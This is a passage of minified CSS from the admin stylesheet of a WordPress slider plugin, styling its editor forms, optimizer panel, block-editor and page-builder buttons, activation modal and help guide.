width: 276px; border-right: 1px solid #323438; } ._TPRB_ .op_c_a i.material-icons { color: #777c80; font-size: 20px !important; margin-right: 38px;margin-left: 15px; line-height: 50px; } #rbm_optpanel_savebtn i.material-icons { line-height: 50px !important} ._TPRB_ .optim_cell i.material-icons { line-height: 40px !important} ._TPRB_ .noborder .op_c_a { border-right: none; } ._TPRB_ .op_c_b { width: 120px; padding-left: 20px; } ._TPRB_ .op_c_c { width: 375px; margin-right: 40px } ._TPRB_ .op_c_d { width: 155px; } ._TPRB_ .op_c_e { width: 20px; height:40px;position: relative; } ._TPRB_ .op_c_e i.material-icons { font-size: 17px } ._TPRB_ .optim_checkbox { cursor:pointer; color: #fff; border-radius: 50%; width: 17px; height: 17px; text-align: center; vertical-align: top; border: 2px solid #777c80; box-sizing: border-box; display: inline-block} ._TPRB_ .optim_checkbox i.material-icons { font-size: 13px !important; line-height: 14px !important; display:none !important;} ._TPRB_ .optim_checkbox.checked { background-color: #22a46e; border-color: #22a46e; } ._TPRB_ .optim_checkbox:hover i.material-icons, ._TPRB_ .optim_checkbox.checked i.material-icons { display: block !important; } ._TPRB_ .opt_img { margin-top:4px; width: 53px; height: 32px; background-size: cover; background-repeat: no-repeat; background-position: center center; display: inline-block; margin-right: 20px; background-color: #2a2c2f; vertical-align: top; } ._TPRB_ .opt_aufruf { display: inline-block; vertical-align: top; font-size: 17px; font-weight: 700; line-height: 40px; position: absolute; right:35px; top:0px;} ._TPRB_ .opt_well { color: #22a46e; } ._TPRB_ .opt_warn { color: #ffb818; } ._TPRB_ opt_fs_grd { width:375px; height:2px; position: absolute; top:19px; left:0px; z-index: 4; background: linear-gradient(to right, rgba(201,1,17,1) 0%, rgba(255,180,22,1) 31%, rgba(50,167,97,1) 34%, rgba(50,167,97,1) 43%, rgba(255,180,22,1) 51%, rgba(50,167,97,1) 59%, rgba(50,167,97,1) 68%, rgba(255,180,22,1) 70%, rgba(255,180,22,1) 82%, rgba(201,1,17,1) 100%);} ._TPRB_ ofs_mark { position: absolute; display: block; background: #797b7e; width: 2px; height: 16px; top: 12px; z-index: 2} /*.ofs_markpoints { width: 375px; height: 16px; position: absolute;top: 12px;left: 0px; z-index: 7;}*/ ._TPRB_ .ofs_markpoint { position: absolute; top: 15px; left: 0px; width: 10px; height: 10px; border: 2px solid #797b7e; background: #212226; border-radius: 50%; box-sizing: border-box; margin-left: -4px; cursor: pointer; z-index:7;} ._TPRB_ .ofs_markpoint.original { background: #797b7e; border-color:#797b7e } ._TPRB_ .ofs_markpoint:hover { width: 16px; height: 16px; margin-left: -7px; top: 12px; border-color:#fff; z-index: 9;} ._TPRB_ .ofs_markpoint.selected { width: 16px; height: 16px; margin-left: -7px; top: 12px; background:#fff; border-color:#fff; z-index: 9;} ._TPRB_ .ofsmark_a { left: 0px; } ._TPRB_ .ofsmark_b { left: 125px; z-index: 6} ._TPRB_ .ofsmark_c { left: 250px; z-index: 6} ._TPRB_ .ofsmark_d { left: 375px; } ._TPRB_ .ofsmark_b:hover, ._TPRB_ .ofsmark_c:hover { background: #fff; } ._TPRB_ .ofsinfo { position: absolute; top: 0px;left: -5px;width: 12px;height: 100%; background: transparent; cursor: pointer } #more_about_optimizer { font-size: 17px !important; line-height: 40px; margin-left: 6px; margin-top:-1px; cursor: pointer; opacity: 0.5;} #more_about_optimizer:hover { opacity: 1 } ._TPRB_ .decmod_maintxt { color: #fff; font-size: 15px; font-weight: 600; line-height: 35px; } #decmod_maintxt { line-height: 22px; margin-bottom: 10px; } ._TPRB_ .decmod_subtxt { color: #b7bbc0; line-height: 20px; font-weight: 400; font-size: 14px; } /* SHORTCODE GENERATOR STYLES */ .rb-basicforms .basic_action_button.onlyicon { width: 30px; padding: 0px; text-align: center } .rb-basicforms .basic_action_button.onlyicon i { margin-right: 0px } ._TPRB_ .ale_i_title { color: #fff; font-size: 15px; font-weight: 600; line-height: 35px; } ._TPRB_ .ale_i_content { color: #777c80; line-height: 20px; font-weight: 400; font-size: 14px; } .rb-basicforms .miniprevimage_wrap { width: 85px;height: 85px; position: relative; display: inline-block; box-sizing: border-box; background:#3a3e44; line-height: 85px; text-align: center; } .rb-basicforms .miniprevimage_wrap i.material-icons { color: #777c80; font-size: 45px } .rb-basicforms .resettodefault.onlyicon { position: absolute; top: 0px;right: 0px; width: 20px;height: 20px; background:#2a2c2f; border-radius: 0px 0px 0px 5px !important } .rb-basicforms .miniprevimage_wrap .resettodefault.onlyicon i.material-icons { font-size: 15px; line-height: 20px !important; width: 20px; } .rb-basicforms .miniprevimage_wrap .resettodefault.onlyicon:hover i.material-icons { color: #fff !important; background: #006dd2; border-radius: 0px 0px 0px 5px !important} .rb-basicforms leftbutton {float:left;margin-right: 15px} .rb-basicforms .thumbnail_title {float:left;width: 325px} .rb-basicforms .resettodefault.onlyicon i.material-icons { font-size: 15px;line-height: 20px !important;width: 20px } .rb-basicforms .basic_action_button.off { display: none; } .rb-basicforms .basic_action_button:hover, .rb-basicforms .basic_action_button.selected { color: #fff; background: #006dd2; } .rb-basicforms .rbm_general_half { width: 49%} .rb-basicforms input[type=text], .rb-basicforms input[type=number], .rb-basicforms textarea { box-shadow: none; outline: none; border: none; border-radius: 3px; width: 185px; padding: 0px; margin: 0px 0px 10px; } .rb-basicforms input[type=text]:hover, .rb-basicforms input[type=number]:hover, .rb-basicforms textarea:hover {color: #fff; } .rb-basicforms .miniprevimage_wrap.withimage i.material-icons { display: none; } .rb-basicforms #admin_purpose_thumbnail, .rb-basicforms #admin_purpose_thumbnail_slider { width: 85px;height: 85px;display: block; box-sizing: border-box; position: absolute; top:0px; left:0px;} .rb-basicforms i.material-icons { line-height: inherit } .rb-basicforms row { line-height: 30px;display: table; margin-bottom:10px; width:100%;box-sizing: border-box; position: relative} .rb-basicforms row.direktrow, .rb-basicforms row.directrow { margin-bottom: 0px; } .rb-basicforms onethird { display: table-cell; vertical-align: top; width: 33.33%; padding-right: 0px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px;} .rb-basicforms onefourth { display: table-cell; vertical-align: top; width: 25%; padding-right: 20px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px} .rb-basicforms onefifth { display: table-cell; vertical-align: top; width: 20%; padding-right: 9px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px} .rb-basicforms onehalf { display: table-cell; vertical-align: top; width: 50%; padding-right: 30px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px} .rb-basicforms labelhalf { display: table-cell; vertical-align: top; width: 100px; padding-right: 15px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px; text-align: right} .rb-basicforms contenthalf { display: table-cell; vertical-align: top; width: 180px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px; text-align: left} .rb-basicforms onelabel { display: table-cell; vertical-align: top; width: 97px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px} .rb-basicforms oneshort { display: table-cell; vertical-align: top; width: 115px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px;} .rb-basicforms onelong { display: table-cell; vertical-align: top; width: 175px; min-width: 175px; box-sizing: border-box;line-height: inherit; margin-bottom:-10px;padding-right:10px;} .rb-basicforms onefull { display: table-cell; vertical-align: top; width: 200px; line-height: inherit; box-sizing: border-box; } .rb-basicforms onehalf { padding-right: 10px;min-width: 50%; } .rb-basicforms onehalf:last-child, .rb-basicforms onefourth:last-child, .rb-basicforms onefifth:last-child, .rb-basicforms onethird:last-child { padding-right: 0px; } .rb-basicforms label_icon, .rb-basicforms label_bigicon {background: url(../images/UI-ICONS.png); width: 30px;height: 30px; vertical-align: top; display: inline-block; color: transparent; background-size: 390px 420px; margin-right: 5px; } .rb-basicforms label_bigicon {background: url(../images/UI-ICONS-BIG.png); width: 45px; height: 45px; background-size: 495px 225px; } .rb-basicforms label_icon.singlerow, .rb-basicforms onelong .label_mi.material-icons:first-child, .rb-basicforms onelong label_icon:first-child { margin-left: 60px; } .rb-basicforms oneshort .label_mi.material-icons { margin-left: 0px; } .rb-basicforms longoption label_icon:first-child { margin-left: 5px; margin-top:3px;} .rb-basicforms i.label_icon.material-icons { margin-left: 60px; color: #fff; line-height: 30px !important; margin-right: 5px; font-size: 20px; text-align: center; width:30px; color:#b7bbc0;} .rb-basicforms oneshort input[type=text], .rb-basicforms oneshort input[type=number], .rb-basicforms oneshort textarea, .rb-basicforms input[type=text].shortfield, .rb-basicforms input[type=number].shortfield, .rb-basicforms onelong input[type=text], .rb-basicforms onelong input[type=number], .rb-basicforms onelong textarea {width:68px !important; min-width: 68px !important} .rb-basicforms input[type=text].miniinput, .rb-basicforms input[type=number].miniinput { width: 50px;margin-right: 15px; } .rb-basicforms input[type=text].smallinput, .rb-basicforms input[type=number].smallinput { width: 90px;} .rb-basicforms input[type=text].longinput, .rb-basicforms input[type=number].longinput { width: 270px;} .rb-basicforms .fake_input, .rb-basicforms input[type=text], .rb-basicforms input[type=number] {line-height: 30px;height:30px; box-sizing:border-box; font-size: 13px;color: #b7bbc0;font-weight: 500;vertical-align: top; background: #2a2c2f; padding:0px 10px;} .near_me_addon { position: absolute; top:5px; left: 30px; color: inherit; font-size: 12px !important; } .toolkit_selector .near_me_addon { left: 28px; } .label_mi.material-icons { width:30px; height:30px; text-align:center; color: #b7bbc0; font-size: 20px; margin-left: 15px; vertical-align: top; line-height:30px; margin-right: 5px;} #rbm_blocksettings.rb-basicforms label_icon { margin-right: 10px; } .rb-basicforms input[type=text].badvalue, .rb-basicforms input[type=number].badvalue { color:#f82c90; } .rb-basicforms input[type=radio]:before { width:10px; height:10px; margin: 5px; } .rb-basicforms input[type=radio]:before { background-color: #006dd2; width: 10px;height:10px; } .rb-basicforms input[type=radio], .rb-basicforms input[type=radio]:hover, .rb-basicforms input[type=radio]:focus, .rb-basicforms input[type=radio]:checked { border:none;background: #2a2c2f;} .rb-basicforms .radiooption { position: relative; box-sizing: border-box;display: inline-block; line-height: 25px } .rb-basicforms .radiooption input[type=radio] { line-height: 25px; margin:5px 10px 0px -2px; vertical-align: top; z-index: 2; position: absolute; border-radius: 0px; width:100%; height:20px; opacity: 0 !important} .rb-basicforms label_sub, .rb-basicforms .label_sub, .rb-basicforms label_a, .rb-basicforms .label_a { line-height: 17px; padding: 7px 0px; vertical-align: top; display: inline-block; cursor: default; color: #222; font-weight: 500; margin-bottom: 0px; font-size: 12px; color: #777c80; width: 85px; text-align: right; margin-right: 15px; overflow: hidden; white-space: nowrap; } .rb-basicforms label_sub, .rb-basicforms .label_sub { text-align: left; margin-right: 0px; width: auto; } .rb-basicforms .radiooption label_sub, .rb-basicforms .radiooption .label_sub { line-height: 25px; vertical-align: top; padding: 2px 0px 0px; z-index:0; padding-left: 30px; position: relative; cursor: pointer;} .rb-basicforms .radiooption label_sub:before, .rb-basicforms .radiooption .label_sub:before { content: " "; width:20px;height:20px; background:#2a2c2f; position: absolute;left:0px;top:5px; border-radius: 100%; box-sizing: border-box; border:5px solid #2a2c2f;} .rb-basicforms input[type=radio]:checked + label_sub { color: #fff !important; } .rb-basicforms input[type=radio]:checked + label_sub:before { background: #006dd2; } .rb-basicforms .ale_i_title.thumbnail_title { position: relative; width: 100%; } .rb-basicforms .ale_i_title.thumbnail_title .tponoffwrap { position: absolute; right: 0px; top: 0px; margin-top: 10px } .rb-basicforms .description, .rb-basicforms label_info, .rb-basicforms .label_info, .rb-basicforms .function_info { color: #777c80; font-size:14px; font-weight: 400; line-height: 20px; display:inline-block;} .rb-basicforms .function_info a { color: inherit !important; } .rb-basicforms .function_info a:hover { color: #fff !important; } .rb-basicforms labelhalf .material-icons { font-size: 20px; color: #777c80; } .revslider_settings .revbuilder-colorpicker, .rb-basicforms .revbuilder-colorpicker { vertical-align: top;margin-bottom: 5px;line-height: 30px;background: #2a2c2f;box-sizing: border-box;padding: 7px;height: 30px;border-radius: 3px;border: none;} .revslider_settings .revbuilder-colorpicker .revbuilder-colorbox, .rb-basicforms .revbuilder-colorpicker .revbuilder-colorbox { width: 16px; height: 16px; border: 1px solid rgba(255,255,255,0.15); border-radius: 0px; vertical-align: top; } .revslider_settings .revbuilder-colorpicker input, .rb-basicforms .revbuilder-colorpicker input { width: 90px; margin: -7px 0px;line-height: 30px;height: 30px;box-sizing: border-box;font-size: 13px;color: #b7bbc0;font-weight: 500;vertical-align: top;background: #2a2c2f;padding: 0px 10px; border: none; box-shadow: none; outline:none;} #slide_template_row .revbuilder-colorpicker, #slide_template_row .revbuilder-colorpicker input { background: #edeff0; color: rgb(85, 93, 102); } .revslider_settings .revbuilder-colorpicker .revbuilder-colorbtn, .rb-basicforms .revbuilder-colorpicker .revbuilder-colorbtn { display: none } .rb-basicforms .function_info_small { padding-left: 100px; font-style: italic; font-size: 11px; color: #777c80; line-height: 20px; display: inline-block; } .global_custom_font_row { position: relative } .global_custom_font_row .deletecustomglobalfont { display: inline-block; position: absolute; right: -20px;top: 0px; opacity:0;} .global_custom_font_row:hover .deletecustomglobalfont { opacity: 1; } /******************* LABEL ICONS GLOBAL *******************/ ._TPRB_ label_icon.ui_desktop { background-position: -30px -150px; } ._TPRB_ label_icon.ui_notebook { background-position: -60px -150px; } ._TPRB_ label_icon.ui_tablet { background-position: -90px -150px; } ._TPRB_ label_icon.ui_mobile { background-position: -120px -150px; } ._TPRB_ label_icon.ui_width { background-position: -90px -60px; } ._TPRB_ label_icon.ui_height { background-position: -120px -60px; } ._TPRB_ label_icon.ui_minwidth { background-position: -150px -60px; } ._TPRB_ label_icon.ui_maxwidth { background-position: -180px -60px; } ._TPRB_ label_icon.ui_minheight { background-position: -210px -60px; } ._TPRB_ label_icon.ui_maxheight { background-position: -240px -60px; } ._TPRB_ label_icon.ui_gap { background-position: -180px -30px; } ._TPRB_ label_icon.ui_padding { background-position: -240px -30px; } ._TPRB_ label_icon.ui_margin { background-position: -180px -210px; } ._TPRB_ label_icon.ui_margin_top { background-position: -210px -210px; } ._TPRB_ label_icon.ui_margin_right { background-position: -240px -210px; } ._TPRB_ label_icon.ui_margin_bottom { background-position: -270px -210px; } ._TPRB_ label_icon.ui_margin_left { background-position: -300px -210px; } ._TPRB_ label_icon.ui_padding { background-position: -30px -210px; } ._TPRB_ label_icon.ui_padding_top { background-position: -60px -210px; } ._TPRB_ label_icon.ui_padding_right { background-position: -90px -210px; } ._TPRB_ label_icon.ui_padding_bottom { background-position: -120px -210px; } ._TPRB_ label_icon.ui_padding_left { background-position: -150px -210px; } /************************** GUTENBERG BLOCK EXTENSION ***************************/ .showHideButtons span, .rs_optimizer_button_wrapper span, .rs_wp_plg_act_wrapper span { line-height: 28px; } .rs_wp_plg_act_wrapper span { font-size: 13px; text-align: center; font-weight: 400; display: block; } .rs_optimizer_button_wrapper, .rs_wp_plg_act_wrapper { border-color: #5e35b1; background: #5e35b1; color: #fff; border-radius: 2px; cursor: pointer; margin-top: 20px; } .rs_optimizer_button, .rs_wp_plg_act_button, .rs_optimizer_button.components-button.is-default, .rs_optimizer_button.components-button.is-secondary, body:not(.wpb-js-composer) span:not(.vc_btn-content) i.revslider_vc_material-icons, span:not(.vc_btn-content) .revslider_vc_material-icons.material-icons { margin-right: 0px; margin-bottom: 0px; font-family: 'Material Icons'; font-weight: normal; font-style: normal; display: inline-block; text-transform: none; letter-spacing: normal; word-wrap: normal; white-space: nowrap; direction: ltr; vertical-align: top; line-height: 27px; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; -moz-osx-font-smoothing: grayscale; -webkit-font-feature-settings: 'liga'; font-feature-settings: 'liga'; font-feature-settings: 'liga'; outline: none; border-radius: 0px; border: none; background-color: transparent; color: #fff; vertical-align: top; height: 28px; box-shadow: none !important; padding:2px 10px; } .rs_optimizer_button.components-button.is-secondary:not(:disabled):not([aria-disabled=true]):hover, .rs_optimizer_button:hover, .rs_wp_plg_act_button:hover, .rs_optimizer_button.components-button.is-default:hover, .rs_optimizer_button.components-button.is-secondary:hover, body:not(.wpb-js-composer) span:not(.vc_btn-content) i.revslider_vc_material-icons:hover, span:not(.vc_btn-content) .revslider_vc_material-icons.material-icons:hover { border-color: #5e35b1; background: #5e35b1; color: #fff; box-shadow: none; border-radius: 2px; } /* 6.4.4 */ #visual_composer_content .revslider_vc_material-icons.material-icons, .wpb-js-composer .revslider_vc_material-icons.material-icons { font-size: 18px; color: #fff; } .rs_optimizer_button_wrapper:hover { filter:brightness(110%); } /* WP 5.4 Changes */ .rs_optimizer_button_wrapper, .rs_wp_plg_act_wrapper { margin: 20px auto; max-width: 247px; } .revslider_vc_material-icons.material-icons { line-height: 16px !important; font-size: 18px; } .rs_wp_plg_act_button:focus:enabled, .rs_optimizer_button.components-button.is-default:focus:enabled, .revslider_block .slider_editor_button.components-button.is-default:focus:enabled { border-color: #5e35b1;background: #5e35b1;color: #fff; outline:none; box-shadow:none;} .rs_optimizerButtons button.rs_optimizerOpen { margin-bottom: 0px; } .rs_component_panel .components-panel__body-toggle.components-button:focus:not(:disabled):not([aria-disabled=true]), .rs_optimizer_panel .components-panel__body-toggle.components-button { outline: none !important; } .rs_wp_plg_act_wrapper:hover, .rs_optimizer_button_wrapper:hover { -webkit-filter: brightness(120%); filter: brightness(120%); } .rs_component_panel .block-editor-block-card__title { font-size: 16px; font-weight: 600; } .rs_component_panel .editor-block-icon.block-editor-block-icon { height: 28px; } div.revslider_block .slider_edit_button { font-size: 13px; line-height: 26px; } .rb_not_on_notactive.disabled { pointer-events: none; opacity: 0.5 } /*********************+************* - VISUAL COMPOSER STYLE CHANGE - *************************************/ .wpb_rev_slider .vc_general.vc_element-icon.icon-wpb-revslider, .vc_general.vc_element-icon.icon-wpb-revslider { background: url(../images/rs6_number_2x.png); background-size: contain; } .wpb_element_rev_slider_admin_wrap { background: #e3e5e8;text-align: center;line-height: 0;margin-top: 20px; } .wpb_element_rev_slider_admin_wrap div { width: 267px; height: 150px; background-repeat: no-repeat; background-position: 50% 50%; background-size: cover; margin: 0 auto; } /*********************+************* - ELEMNTOR STYLE CHANGES - *************************************/ .rs-elementor-component-tab .elementor-control-edit_slider .elementor-control-input-wrapper, .rs-elementor-component-tab .elementor-control-settings_slider .elementor-control-input-wrapper, .rs-elementor-component-tab .elementor-control-optimize_slider .elementor-control-input-wrapper, .rs-elementor-component-tab .elementor-control-select_slider .elementor-control-input-wrapper { width: 100% !important; text-align: center;} .rs-elementor-component-tab .elementor-control-select_slider .elementor-control-input-wrapper { margin-top: 15px; } .rs-elementor-component-tab .elementor-button { background-color:#5e35b1 !important; color: #fff !important; font-size: 11px; font-weight: 400; line-height: 29px; vertical-align: top;padding: 0px 20px; height: 29px; width: 200px; } .rs-elementor-component-tab .elementor-button i.material-icons { margin-right: 5px; font-size:16px; line-height: 28px; vertical-align: top; } .rs-elementor-component-tab .elementor-button:hover { -webkit-filter: brightness(120%); filter: brightness(120%); } /******************+ - BLOCK MODAL - ********************/ #rbm_blocksettings { min-height: 580px; } #rbm_blocksettings .offset_list { padding-left: 50px; margin-bottom: 10px; } #rbm_blocksettings .offset_list label_icon { margin-right: 35px; } ._TPRB_ .origlayout { display: inline-block; line-height: 28px; color: #777c80;font-size: 12px; margin-left: 5px; margin-top: -2px; vertical-align: top; } /******************+ - POST OPTIONS - ********************/ #slide_template_row .slide_template_column { width: 50%; float: left; } #slide_template_row .setting_text { margin-bottom: 4px;} /******************+ - MEMBERS AREA - ********************/ ._TPRB_ #rs_welcome_header_area {position: relative;width: auto;} /*._TPRB_ #rs_memarea, ._TPRB_ #rs_memarea:hover, ._TPRB_ #rs_memarea:focus,*/ ._TPRB_ #rs_memarea_registered i { width: 17px; overflow: hidden; } ._TPRB_ #rs_memarea_registered, ._TPRB_ #rs_memarea_registered:hover, ._TPRB_ #rs_memarea_registered:focus {box-shadow: 0px 11px 30px 0px rgba(0,0,0,0.5);border-radius: 4px;position: absolute;cursor: pointer;outline: none !important;right: 0px;top: 15px;line-height: 40px !important;font-size: 15px; width:180px;} /*._TPRB_ #rs_memarea, ._TPRB_ #rs_memarea:hover, ._TPRB_ #rs_memarea:focus { width: 480px;height: 70px;background: url(../images/membersarea.jpg);background-size: cover;right: 0px;top: 0px;}*/ /*._TPRB_ #rs_memarea:hover,*/ ._TPRB_ #rs_memarea_registered:hover {filter: brightness(110%);} /****************************** - ToolBox - ********************************/ #rb_maininfo_wrap { position: fixed;top:0px;right:0px;z-index: 1900002; } #eg-toolbox-wrapper { position: fixed;top: 40px;right: 15px;z-index:1900002;} .eg-toolbox { padding: 15px 20px 15px 60px;background: #3f444a;color: #fff;max-width:400px;cursor: pointer;position:relative; font-weight: 400; font-size: 14px; box-shadow:0px 3px 10px 0px rgba(0,0,0,0.25); font-family: "Roboto"; } .eg-toolbox>.material-icons { font-size: 20px; position:absolute;top:50%;left:15px;transform:translateY(-50%); color:#fff; width:30px; height:30px; text-align: center; line-height: 30px !important; border-radius: 15px;} .eg-toolbox .material-icons.goodtoknow { background-color:#5e35b1; font-size: 16px} .eg-toolbox .material-icons.info { background-color:#3498db;} .eg-toolbox .material-icons.cancel { background-color:#ba0000} .eg-toolbox .material-icons.ok { background-color:#00b900} #rbm_activate_slider.eg-toolbox { position:relative;cursor:default; max-width:480px; width: 480px; min-height: 480px; background: url(../images/modal_bg.jpg); background-size: cover; box-sizing: border-box; padding:45px 45px 150px;} #rbm_activate_slider_deco { cursor:default; width: 480px; height: 150px; background: url(../images/modal_asset2x.jpg); background-size: cover; box-sizing: border-box; position:absolute; bottom:0px;left:0px;} .rbmas_title { font-size: 25px; color: #fff; line-height: 30px; font-weight: 600; text-align: center; margin-bottom: 20px; } .rbmas_benef { font-size: 14px; color: rgba(255,255,255,0.5); font-weight: 400; line-height: 20px; padding-left:100px;} .rbmas_benef i.material-icons { margin-right: 20px; font-size: 17px; line-height: inherit !important} .rbmas_close { position: absolute; right: 10px; top: 10px; font-size: 17px; color: #b7bbc0; cursor: pointer } .rbmas_close:hover { color: #fff; } .rbmas_def_page {display: block;} .rbmas_activate_page {display:none;} .rbmas_solidtitle { font-weight: 600; font-size: 17px; } .rbmas_solidtext { color: rgba(255,255,255,0.5); font-size: 14px; font-weight: 400; line-height: 20px } .rbmas_show_activate .rbmas_def_page { display: none; } .rbmas_show_activate .rbmas_activate_page { display: block; } #rbmas_purchasekey { font-size: 17px;font-weight: 600;color:rgba(255,255,255,0.25); display: block;width: 100%;background: #2a2c2e;line-height: 50px;border: none;outline: none;box-shadow: none;padding: 0px 20px;border-radius: 4px;text-align: center;margin-bottom: 10px; } #rbmas_purchasekey::-webkit-input-placeholder { color:rgba(255,255,255,0.25);} #rbmas_purchasekey::-moz-placeholder { color:rgba(255,255,255,0.25);} #rbmas_purchasekey:-ms-input-placeholder { color:rgba(255,255,255,0.25);} #rbmas_purchasekey:-moz-placeholder { color:rgba(255,255,255,0.25);} #rbmas_activateplugin i.material-icons { margin-right: 10px; } .iblocktop { vertical-align: top; display: inline-block } .dcenter { display: block; text-align: center; margin: 0px auto; list-style: none; padding:0px;} #rb_maininfo_wrap bluebutton { display:block; background:#006dd2; width: 100%; text-align: center; line-height: 50px; color: #fff; font-weight: 400; font-size:17px; cursor: pointer} #rb_maininfo_wrap purplebutton { display:block; background:#642fb4; width: 100%; text-align: center; line-height: 50px; color: #fff; font-weight: 400; font-size:17px; cursor: pointer; border-radius: 4px} #rb_maininfo_wrap bluebutton, #rb_maininfo_wrap purplebutton, #rb_maininfo_wrap graybutton { display:block; background:#393e45; width: 100%; text-align: center; line-height: 50px; color: #fff; font-weight: 400; font-size:17px; cursor: pointer; border-radius: 4px} #rb_maininfo_wrap bluebutton { background:#006dd2;} #rb_maininfo_wrap purplebutton, ._TPRB_ .basic_action_coloredpurplebutton { background:#642fb4;} ._TPRB_ .basic_action_coloredpurplebutton:hover { background:#642fb4 !important; filter: brightness(110%); } #rb_maininfo_wrap purplebutton i.material-icons, #rb_maininfo_wrap bluebutton i.material-icons { line-height: inherit } ._TPRB_ solidiconbox { margin-bottom:15px;width: 25px; height: 30px; display: inline-block; background:transparent; color:#5e35b1; text-align: center; line-height: 30px; font-size: 18px; margin-right:20px; vertical-align: top;} ._TPRB_ .pli_twoline_wp { display: inline-block; line-height: 15px; } ._TPRB_ .pli_twoline_wp .dynamicval.pli_subtitle { font-weight: 600; color: #000; } ._TPRB_ label.rs_wp_ppset { line-height: 30px; margin-right: 20px; width: 100px; display: inline-block} ._TPRB_ #slide_template_row .fake_onff_on, #slide_template_row .tponoff_on { background: #5e35b1; } #slide_template_row .tponoffwrap.off, #slide_template_row .tponoff_off { background: #edeff0; } .edit-post-meta-boxes-area #poststuff #slider_revolution_metabox h2.hndle { border-bottom:none; font-size: 13px; font-weight: 600;color:#191e23;} .edit-post-meta-boxes-area #poststuff #slider_revolution_metabox.closed h2.hndle, .interface-interface-skeleton__sidebar #slider_revolution_metabox.closed h2.hndle { border-bottom: none !important; } .interface-interface-skeleton__sidebar #slider_revolution_metabox .postbox-header { border-bottom: none !important; } .interface-interface-skeleton__sidebar #poststuff #slider_revolution_metabox h2.hndle { border-bottom: none; font-size: 13px; color: #1e1e1e; font-weight: 500; } .edit-post-meta-boxes-area #poststuff #slider_revolution_metabox:hover h2.hndle, .interface-interface-skeleton__sidebar #poststuff #slider_revolution_metabox:hover .postbox-header { background-color: #f3f4f5!important; } .edit-post-meta-boxes-area #poststuff #slider_revolution_metabox { margin-top: -2px; border-top: 1px solid #e2e4e7; border-bottom: 1px solid #e2e4e7; margin-bottom: -2px; } .interface-interface-skeleton__sidebar .edit-post-meta-boxes-area #poststuff #slider_revolution_metabox { margin-top: -2px; border-top: 1px solid #f0f0f0; border-bottom: 1px solid #f0f0f0; margin-bottom: -2px; } .edit-post-meta-boxes-area #poststuff #slider_revolution_metabox >button span { opacity: 0; } .interface-interface-skeleton__sidebar #slider_revolution_metabox button.handlediv, .edit-post-meta-boxes-area #poststuff #slider_revolution_metabox >button { background-position: center center !important; background-repeat: no-repeat !important; background-size: 18px 18px !important; background-image:url(data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%23555%22%2F%3E%3C%2Fsvg%3E) !important; transform: rotateZ(180deg) !important; box-shadow: none !important; position: relative; z-index: 10; } .interface-interface-skeleton__sidebar #slider_revolution_metabox button.handlediv { width: 57px; } .edit-post-meta-boxes-area #poststuff #slider_revolution_metabox.closed >button, .interface-interface-skeleton__sidebar #slider_revolution_metabox.closed button.handlediv { transform: rotateZ(0deg) !important; } .interface-interface-skeleton__sidebar #slider_revolution_metabox button.handlediv .toggle-indicator, .block-editor-editor-skeleton__sidebar #slider_revolution_metabox >button .toggle-indicator { display: none; } .interface-interface-skeleton__sidebar #slider_revolution_metabox .handle-order-higher, .interface-interface-skeleton__sidebar #slider_revolution_metabox .handle-order-lower { display: none !important; } .rbm_helpguide.rb_modal{width: 1200px;} .rbm_helpguide .rbm_content, .rbm_helpguide .rbm_header {width: 1200px; box-sizing: border-box;} .rbm_helpguide .rbm_content {position: relative; height:690px; overflow: hidden} .gm_blue_highlight:hover { background: #006dd2; color: #fff; } .gm_left, .gm_right{ float: left; box-sizing: border-box; height: 100%; max-height: 100%; } .rbm_helpguide .rbm_content{ background-color: #1F2123; overflow: visible; } .gm_left{ width: 33%; border-right: solid 1px #2b2c30; } .gm_top_left{ border-bottom: solid 1px #2b2c30; } .gm_top_left, .gm_bottom_left{ padding: 40px; } .gm_top_right, .gm_bottom_right{ padding: 40px; } .gm_bottom_left{ padding-bottom: 50px; } .gm_right{ width: 67%; } .gm_title{ font-weight: 500; font-size: 20px; color: #fff; line-height: 1.3; } #gm_tl_title{ color: #b7bbc0; } .gm_tl_desc{ color: #b7bbc0; margin: 20px 0; font-size: 14px; line-height: 1.4; } .gm_tl_thumb{ display: flex; position: relative; } .gm_tl_thumb1{ position: absolute; width: 70%; right: 0; scale: 0.7; filter: blur(8px); opacity: 0.5; transform-origin: 90% 50%; } .gm_tl_thumb2{ position: relative; width: 70%; right: 0; filter: drop-shadow(0px 8px 40px rgba(0,0,0,0.25)); } .gm_tl_thumb img{ max-height: 150px; max-width: 100%; } .gm_bl_list{ display: block; list-style: none; margin: 0; padding: 0; margin-top: 30px; } .gm_bl_list li a{ display: flex; height: 50px; align-items: center; margin: 10px 0; background-color: #2b2c30; color: #b7bbc0; border-radius: 5px; font-size: 14px; overflow: hidden; text-decoration: none; } .gm_bl_list .rbm_symbol{ font-size: 30px !important; margin: 0 !important; filter: drop-shadow(0px 10px 20px rgba(0,0,0,0.5)); color: #fff; display: block !important; z-index: 20 !important; position: relative !important; } .gm_playicon_bg{ content: " "; display: block; position: absolute; width: 15px; height: 15px; background-color: black; } .gm_bl_play{ display: flex; width: 50px; height: 50px; background-color: #5d36ad; justify-content: center; align-items: center; margin-right: 15px; } .gm_bl_links{ font-size: 12px; float: right; color: #b7bbc0; margin-top: 5px; text-decoration: none; } .gm_bl_links a{ text-decoration: none; color: #b7bbc0; } .gm_bl_links a:hover{ color: #fff; } .gm_bl_links .rbm_symbol.material-icons{ display: inline; font-size: 16px !important; line-height: 12px !important; margin-right:8px !important; vertical-align: text-top !important; } .gm_top_right{ overflow: hidden; padding-bottom: 100px; } .gm_top_right .gm_tr_title{ margin-bottom: 20px; } .gm_tr_list{ display: grid; grid-template-columns: 0.5fr 0.5fr; gap: 20px; font-size: 16px; } .gm_tr_list > *{ display: block; position: relative; padding: 10px; box-sizing: border-box; background-color: #2b2c30; border-radius: 5px; height: 120px; padding: 20px 20px; grid-area: "cell"; color: #b7bbc0; cursor: pointer; } .gm_guide_icon{ color: #777c80; } .gm_tr_list > 